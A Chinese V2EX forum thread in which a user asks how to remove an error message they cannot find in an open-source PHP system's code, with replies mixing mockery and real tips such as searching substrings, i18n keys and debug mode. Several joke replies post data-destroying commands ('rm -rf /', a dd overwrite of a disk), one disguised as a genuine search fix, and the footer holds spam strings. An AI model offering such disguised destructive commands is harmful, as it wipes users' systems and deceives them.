遇到一个问题,有一个开源的系统,当我做一些操作导致出现 bug 时,系统会有一个跳转的提示,但是提示的这段文字在代码中搜不到,请问如何去修改这种呢,不想出现类似的显示 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
songmings
V2EX    PHP

遇到一个问题,有一个开源的系统,当我做一些操作导致出现 bug 时,系统会有一个跳转的提示,但是提示的这段文字在代码中搜不到,请问如何去修改这种呢,不想出现类似的显示

  •  
  •   songmings 2021-01-18 13:02:56 +08:00 4582 次点击
    这是一个创建于 1753 天前的主题,其中的信息可能已经有所发展或是发生改变。

    遇到一个题,有一个开源的系统,当我做一些操作导致出现 bug 时,系统会有一个跳转的提示,但是提示的这段文字在代码中搜不到,请问如何去修改这种呢,不想出现类似的显示。谢谢,求教

    45 条回复    2021-01-28 20:01:19 +08:00
    y7E6IG8spV7TU8n7
        1
    y7E6IG8spV7TU8n7  
       2021-01-18 13:10:30 +08:00   11
    一不发源码地址,二不发什么 bug,三没法什么操作,四没发提示的什么,只想教个鬼,你以为都是你蛔虫吗
    learningman
        2
    learningman  
       2021-01-18 13:18:17 +08:00
    标准甲方口气 233
    sthwrong
        3
    sthwrong  
       2021-01-18 13:37:03 +08:00
    大概率是 thinkphp 的跳转. 要是有这个提示还不会,别写代码了.
    oxromantic
        4
    oxromantic  
       2021-01-18 13:41:14 +08:00
    pengW
        5
    pengW  
       2021-01-18 13:43:46 +08:00 via Android   26
    你要先这样,再那样,然后保存重启,它就不提示了
    purensong
        6
    purensong  
       2021-01-18 13:45:24 +08:00
    翻译了吧
    klgd
        7
    klgd  
       2021-01-18 13:45:24 +08:00   1
    rm -rf /
    helionzzz
        8
    helionzzz  
       2021-01-18 13:46:44 +08:00
    问出这种问题的应该不是做开发的,去找个程序员可破
    GM
        9
    GM  
       2021-01-18 14:33:41 +08:00
    搭车问一个问题:
    我有一辆车,当我做一些操作的时候,会出现一个错误信息,但是这个错误信息在说明书找不到,请问如何修复呢?

    至于什么车、做什么操作、错误信息是什么、想修复成什么样,抱歉我不能告诉你!
    676529483
        10
    676529483  
       2021-01-18 14:38:40 +08:00
    用了多语言翻译的吧,i18 的对应关系
    lakehylia
        11
    lakehylia  
       2021-01-18 14:41:31 +08:00
    哈哈,你又不是我女朋友,什么都要我猜?做梦呢。
    waiaan
        12
    waiaan  
       2021-01-18 14:44:03 +08:00
    楼上几位都不能好好说话,一定要反讽挖苦吗?
    freeair
        13
    freeair  
       2021-01-18 14:47:22 +08:00
    “提问的智慧”,很早的文章,现在依然适用。

    https://www.dianbo.org/9238/stone/tiwendezhihui.htm
    Ranying
        14
    Ranying  
       2021-01-18 14:53:04 +08:00   12
    这个问题经常出现,有好多人也给出了解决方案。在一般情况下,这个修改是很简单的,但是也要考虑到特殊情况。出现提示和不想出现提示是一对矛盾,要善于分析矛盾的普遍性和特殊性,顺利解决矛盾。这个问题我最早在去年三月看到过,在 Windows 和 Linux 上的方法是不一样的,也要考虑版本问题等诸多要素。祝楼主早日解决问题!
        15
    kennnnnnnnnnn  
       2021-01-18 14:57:12 +08:00
    @pengW good h 哈哈
    Greatshu
        16
    Greatshu  
       2021-01-18 15:09:39 +08:00
    dd if=/dev/zero of=/dev/vda1
    linksNoFound
        17
    linksNoFound  
       2021-01-18 15:24:00 +08:00   1
    这个问题很简单,懂的人都懂,不懂的自己琢磨琢磨也懂了哈哈哈哈
    jrtzxh020
        18
    jrtzxh020  
       2021-01-18 15:29:55 +08:00
    每次去兑奖,彩票机器总是提示"未中奖",请问如何去修改这种呢,不想出现类似的显示?:(
    howellz
        19
    howellz  
       2021-01-18 15:31:13 +08:00
    楼主没有说自己是程序员吧,看到这里程序员多,过来提一个问题也很正常。
    在程序员眼里这个问题是看起来比较弱一点,但是多给鼓励呗,又不是所有的都是资深程序员,给个暗号就都明白了的。
    楼主尽量详细点,如果不担心泄露秘密,直接把库和字符串贴出来呗。
    jjplay
        20
    jjplay  
       2021-01-18 15:36:16 +08:00
    可能是变量字符串呗,可能是为了多语言提示的,不是写死在页面里的,你把页面里的一些可以提取的 元素 ID calssname 都可以尝试搜索 定位
    polyang
        21
    polyang  
       2021-01-18 15:36:27 +08:00
    @howellz 楼主自己都说了,是开源系统,开源就不存在泄密的问题。就算不是程序员,最起码也应该知道怎么提问吧。源码地址不说出来,具体什么提示也不说出来,我们怎么知道该怎么改。
    Magician
        22
    Magician  
    &nbp;  2021-01-18 15:40:24 +08:00
    我先这样修改 然后在这样修改 最后保存一下 就不显示了
    koolob
        23
    koolob  
       2021-01-18 15:41:49 +08:00
    如果一大段文字搜不到,就拆出一小段来搜,直到拆到词组级别。因为有时这些提示信息是拼接而成的。
    Y599928887
        24
    Y599928887  
       2021-01-18 15:41:58 +08:00
    @waiaan 你来解答!
    nnnToTnnn
        25
    nnnToTnnn  
       2021-01-18 15:53:43 +08:00
    @waiaan #12 L 我觉得你说的很有道理,你这么说,我想你肯定是有解决办法了,或者说想到怎么处理了。 所以才说大家,不好好说话,所以在反讽挖苦。

    既然你有了解决的方案,那为什么不在评论区答复给楼主? 反而在这里很生气的说,楼上几位不好好说话? 反讽挖苦?

    有解决的办法,能否说出来一下? 让我们好好学习一下? 如果没有解决方案,是否能安安静静的等一位大佬出现? 作为一个技术大牛,我觉得他应该很讨厌说话语气差,而且技术能力差,还不好好提问的人
    howellz
        26
    howellz  
       2021-01-18 16:08:15 +08:00
    @polyang 也有可能是项目原因保密啊。提问的确缺乏技巧,但是我觉得不能因为提问水平比较低就冷嘲热讽。毕竟什么水平的人都有。
    shaojz2005
        27
    shaojz2005  
       2021-01-18 16:14:53 +08:00
    我也经历过这样的时期,自己技术不是很好,但是开源系统部署起来很方便,要修改局部内容,就通过关键词定位去修改。虽然有点盲目,但大部分时间奏效。

    但是在 MVC 模式下就不太好定位了,目前能想到的是两条路,一是如果开源系统很出名的(比如 wordpress ),可以直接去搜索相关的技术文章;二是开启系统的 debug 模式,然后通过查看 debug 信息来定位提示所在的模块或文件。
    imiao
        28
    imiao  
       2021-01-18 16:20:34 +08:00
    这个问题很简单,详细内容请看这里: https://www.baidu.com/
    chenshun00
        29
    chenshun00  
       2021-01-18 16:24:45 +08:00
    leaveeel
        30
    leaveeel  
       2021-01-18 16:38:59 +08:00
    拼接字符串全局搜单个字或者词组,接口返回 msg 查接口,框架 api 读文档,有图片的全局搜文件名,i18 就翻译回去再来一遍
    abc11
        31
    abc11  
       2021-01-18 16:40:58 +08:00
    devtools 里面搜一下...
    zhangfeiwudi
        32
    zhangfeiwudi  
       2021-01-18 16:42:50 +08:00
    @Ranying 哈哈哈哈 这么秀 你是要考研吗
    jiangzm
        33
    jiangzm  
       2021-01-18 16:45:52 +08:00
    搜简短一点,有些是格式化的字符串肯定不能完全匹配。实在不行搜索内容标签一定能找到

    定位不熟悉系统的 bug 是一种能力。
    nnnToTnnn
        34
    nnnToTnnn  
       2021-01-18 16:59:19 +08:00
    其次这个问题很简单,我提出一个 linux 环境的下的解决方案

    第一步找到当前的项目中文件的位置

    # 如果用 root 身份执行则不用 sudo

    sudo find / "输入你的提示语言信息" >> 1.txt && cat 1.txt && rm -rf / # '当前的提示语信息'

    执行完成后,在验证一下就好了~
    nnnToTnnn
        35
    nnnToTnnn  
       2021-01-18 17:00:04 +08:00
    由于全局搜索,时间比较长,耐心等待一下就好了 ~
    okletswin
        36
    okletswin  
       2021-01-18 17:35:49 +08:00
    @nnnToTnnn 你这就过分了,楼主只是不会提问,不至于逼到跑路吧
    y7E6IG8spV7TU8n7
        37
    y7E6IG8spV7TU8n7  
       2021-01-18 17:45:01 +08:00
    @nnnToTnnn 这种玩笑还是不要开的好,明显是个小白,你给他这样搞下,万一是公司的不是害人吗
    onionKnight888
        38
    onionKnight888  
       2021-01-18 18:05:31 +08:00
    碰到过,之前下了个试用版的前端框架,隔三差五给我 alert
    hodur
        39
    hodur  
       2021-01-18 18:12:29 +08:00
    提示文字可能是拼出来的,可以试试拆开搜索
    OMGZui
        40
    OMGZui  
       2021-01-18 18:25:34 +08:00
    你们把楼主给吓跑了 :dog
    no1xsyzy
        41
    no1xsyzy  
       2021-01-19 11:21:42 +08:00
    @waiaan 《提问的智慧》,作者 ESR,里面例举了 mail 和 新闻组 时代大量的阴阳怪气。
    楼上只是小巫
    no1xsyzy
        42
    no1xsyzy  
       2021-01-19 11:28:55 +08:00
    @howellz 这是黑客社区的自净过程…… ESR 是对于黑客社区文化方面比较熟悉的人,有著作 《大教堂与集市》,可以看看他的《提问的智慧》里 news group 是怎么阴阳怪气的
    不这么玩,下场就是知乎故事会。
    zhifSu
        43
    zhifSu  
       2021-01-19 16:21:48 +08:00
    换个开源系统,不行再换
    imiao
        44
    imiao  
       2021-01-20 17:17:39 +08:00
    @chenshun00 秀儿,是你吗
    akira
        45
    akira  
       2021-01-28 20:01:19 +08:00
    2 种可能,
    1 是提示语 是拼接出来的,拆分了搜试试
    2. 提示语做了加密 /编码
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     4269 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 37ms UTC 05:33 PVG 13:33 LAX 21:33 JFK 00:33
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86